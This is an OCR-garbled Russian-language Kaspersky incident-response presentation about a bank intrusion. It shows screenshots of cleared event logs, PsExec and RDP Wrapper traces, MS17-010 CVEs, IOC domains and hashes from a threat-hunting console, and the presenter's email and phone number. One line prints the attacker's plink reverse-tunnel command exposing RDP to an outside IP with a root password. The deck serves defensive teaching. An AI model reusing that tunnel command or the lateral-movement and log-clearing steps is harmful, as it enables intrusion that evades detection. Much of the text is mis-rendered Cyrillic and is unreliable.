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B CETU JIX ELLIE 3NTOYMbBIWJIEHHUK / KTO
OH?

KAK 9TO OCTAHOBUTbL?

KAKOBA 30HA 3APAXEHWA / 4TO OH
KOHTPOJIMUPYET?

KAK NMPOHUK?

KAK UCKITIOYNTb NOBTOPEHUE?
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bAHROMATAX?
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Level
ﬂ {w Source Event ID  Task Category
mn m3i l “ | (1) Information E’Ventlﬂ'g 104 Log C|ear
. ?'.-Infc:rmaticn E\.rentlog 1[:“-1 LUg clear
[illnfrrmatinn
Event 104, Eventlog E"-"Entlﬂg 104 LUg clear |

General Details

‘The System log file was cleared.

Security 3 Number of events: 602

Source Event ID Task Category

Eventlog 1102 Log clear

Microsoft Windows secunty auditi... 4672 Special Logon

Ll

The audit log was cleared.

Subject:
Security 1D SYSTEM
Account Name: SYSTEM
Domain Name: NT AUTHORITY
Logon ID: Ox3E7

k /Windows/java.exe ($FILE NAME)
139-48-2 /Windows/System32/PsExec.exe ($FILE NAME)
)-48-2 /Windows/PSEXESVC.exe ($FILE NAME)

48-2 /Program Files/RDP Wrapper/rdpwrap.dll ($FILE NAME)

173223-48-2 [/Install/ProView Cash into files/cnginto.exe ($FILE NAME)

i
KOA eyt g R e VR ey NN A .
El.,.mmmmﬁ 173257-48-2 /Install/ProView Cash info files/cngdisp.exe ($FILE NAME)
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UTO MbI HALLMH HA It N .

Standard
n c — Date: 11/22/2018 Source: Service Control Manager
Time: 10:43:36 AM Category: None
&2 Event Properties - File: I:\ \dcOT\evt\System.evix
7
Standard
Date: 11/23/2018 Source: Service Control Manager
Time: 11:47:4494 AM Category: None
Type: Information EventID: 7045
User: \S-1-5-21-1832098003-3791876705-4283162291-4785
Computer: dcO1.

A service was installed in the system.

Service Name: PSEXESVC

Service File Name: %SystemRoot%\PSEXESVC.exe
Service Type: user mode service

Service Start Type: demand start

Service Account: LocalSystem

JAVAW. exe

plink.exe

plink.exe
plink.exe -N -C -v -R 4079:127.0.0.1:3389 -P 22 100t@185.61.149.8 -pw 9262¢66050
lkaspersky




G YEI0 BCE
HAYANOCh?

yBaXdeMble NdPTHEPLI, BbiCblNdld CNWCOK MOWeHHWYECKUX nepesofoB, OCYueCTBNEHHbIX BO BpeEMA HelaBHEW aTakM.
PaH3aKUMKU NOANEXAT NONONHATENbHOW BEDH(JDHKEiU,HH U USMEHHWUKW CTATyCd B EH[TEME_,HE‘D@XD,[[HF“\D NPOBEPUTL [dHHbIE NEpesodbl W na.nyqareneﬁ.

. CVE-2017-0143,
. CVE-2017-0144,
. CVE-2017-0145,
. CVE-2017-0146,
. CVE-2017-0148 (MS17-010).
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Kaspersky Endpoint Security for Windows
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WHCTPYMEHTDI
NOUCGRAVIPO3

Thread Hunting
[ MOKM MOUCK No 6a3e codbITU HA OCHOBE
3aaHHbIX KpUTEPMEB

o o on  3arpyska lOC

\ Y4
©) Mouck yrpos e | ’ CkaHu poBaHWNE T10 ba3e codbITUN
Kaspersky KoHcTpykTOp PepakTtop kopa
NN cpasy Ha areHTe
Platform ( [ RemoteHostN: :][ = :] dnscachecloud.com X

MoHUTOPUHT

AND [SHA256 :][ = :] 1a01b8a4c505db70f9e199337ce7f497b3dd42f25ad06487e29385580bca3676 X
O6HapyXeHus

AND [RemoteHostN; :][= ¢] dnscloudservice.com X K
MNownck yrpos

AND ( [ RemotelP ¢][ = ¢] www.web-traffic.info X
3apaun

AND [RemoteHostN: :” = #] www.web-traffic.info X
MonuTrnkm i
)

IOC/I0OA-aHanu3

AND [MDS 3”= :] 170a55f7c0448f1741e60b01dcec9cfb CoBeiTha: 42 @
XpaHunauiie 02-external-ip-detect-drop-fil... @ CobuiTia: 12 @

AND [ LocallP R ][ _ ‘] 1921623 Janywed npouecc: 2 ® cmd.exe @
Endpoint Sensors M M T 3anywen npouece: 1 @ WMiprvse.exe @

OTyYeThl

O6HOBUTD HoBbiln nouck QuucTutb

[MNapameTpsl

3anyuieH npouecc Poautensckuin npouecc

Wz 1OA ain CA\Windows\explorer.exe

Bpemsa cobbimua 11 cenTabpa 2019 12:48 MDS5 e4381leddff8b844d85c8b45354.4144e

" ®ain ChAUsers\budarin\Desktop\02-external-ip-detect-drop-file-with-systool-name.exe SHAZ256 afae363athcB3cedd715fa5c25F427273d1271cde81aladcc3b8cbBalf41671d
MapameTpel 2anycka ‘CAUsers\budarin\Deskiop\02-external-ip-detect-drop-file-with-systool-name exe” ID npouecca 65404

MDS5 7838262c121924cdef766e3721c42422

caspersky
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Kaspersky

Anti Targeted Attack
Platform

MoHuTOpUHr

O6Hapy»eHus

[Nowuck yrpos

3agauu

MonnuTukK

IOC/IOA-aHanu3 v

XpaHunuue

Endpoint Sensors

OTYeThl Vv

MapameTpbl 2>

Bce xoctel + WIN10-KES-EDR.sales.lab © 3anyweH npouecc - privilege_escalation_to_system_via_named_pipe_impersonation

Mmsa IOA privilege_escalation_to_system_via_named_pipe_impersonation |OAID
BaxHoctb (D = Boicokas
HapexHocte () Bbicokas

White list Jo6aBuThb B 6enbli CIMCOK

L Cobbitva |7 O6HapyxeHus

OnucaHue

A service which can help the attacker to escalate privileges to SYSTEM through the named pipe impersonation mechanism has been launched.

PekoMmeHpauunu

Make sure that the process which has launched the service, is legitimate and intentional. Make sure the process has not been modified by an untrusted entity.

TexHuka MITRE

MITRE ID Nmsa TakTuka CcblNlKa Ha UCTOYHUK

T1134 Access Token Manipulation Defense Evasion, Privilege Escalation https://attack.mitre.org/techniques/T1134

OnucaHue: Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started
the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a...

YcTpaHeHue puckoB: Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this
technique; be sure to restrict users and accounts to the least privileges they require to do their job. Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use...

Bo3MoOXHOe no)xHoe Cpa6aTbIBaH ne




MHTepakTUBHaA KapTa
[lepeBO akTUBHOCTEWN MPOLECCOB NpU aMynauul
00beKTa B U30JIMPOBAHHOW CETU

2825 Jlor akTUBHOCTHM

[=] DNs activity log

Ikaspersky
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ARTHBHbDIE
AENCTBHA

3aaaum
EanHopas3oBoe BbINONHEHUE KOMaHA

@ 33,5,3"“#1 @D Tonsko mom

Kaspers _ _ .
persky O Bpes Tia CeeaeHKs XOCThI CocTodAH e

Anti Targeted Attack | NMonuTuKn

Platform

[l 1310 18:30 ﬁ' YoanuTh Pakn CAWindows\Termphwmiprvs

OMVEE EXE 1 FFESPWEHD “w
[TOCTOSAHHO OENCTBYHOLLA
MoHWTOpKMH
A% AT o ¥ TAAS . e 1, _— " 2
_ O 1310 18:30 (X)) 2aEepWMTe NpoUecc CAWindows Tempwmiprvse. exe 1 JAESpWEHD I-I pa B I/”-I a 6” O KI/I po B KI/I
ObHapyeHua
Y. TMowck yrpoa
' ] 1010 21:44 £ MonydrTe hafn CAUsers\budarin\AppData'\Local\Temp\A7D 1. 1 JaEepleHD
3anaum
] 0B 101328 @ OTnpaewTb ¢ain B K CAWindows\System32\msiexec exe 1 JaEepLWEHD

? MNonuTHiK

IOC/IO0A-aHaNME W

ApaHwunuvLe

Endpoint Sensors

OT4eThl

MNapameTpw 2

HOA
UHOOPMALIMOHHOM
BE3ONACHOCTH




RAK GAENATb HEBOSMOHHOE X PABOTATD bbICTPEE?

CPOPMUPOBATb KOMAHLAY

BHeapuTb NPOAYKThI, KOTOPbIE NO3BOMNAT
3710 He UT, HyxHa nonHas BOBNEYEHHOCTb AP poay p

NCNOJIb3OBATb NIOTOBbIE PELLEHUA
4 aBTOMaTU3MpoBaThb DOSbLUYIO YacTb PaboThl

ObYYHYUTb KOMAHAOY NnPOBOOUTb YHEHUA
[atb Heobxoaumble U 3PP EKTUBHbIE 3HAHUSA Hanpumep, TecTbl Ha NPOHUKHOBEHNE UMK
AMYnSLUMM aTak.

B obnactu b

PASBUBATbCAH

CdopmupoBaTb nrnaH AeUCTBUMN,
He cTosaTb Ha MecTe, Noka apyrue nayT

onucbliBaoLWMKU padboTy ¢ MHLUMAEHTaAMM

3 BbIPABOTATb PEITIAMEHT
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evgeny.budarin@kaspersky.com
+7 905 585 98 36



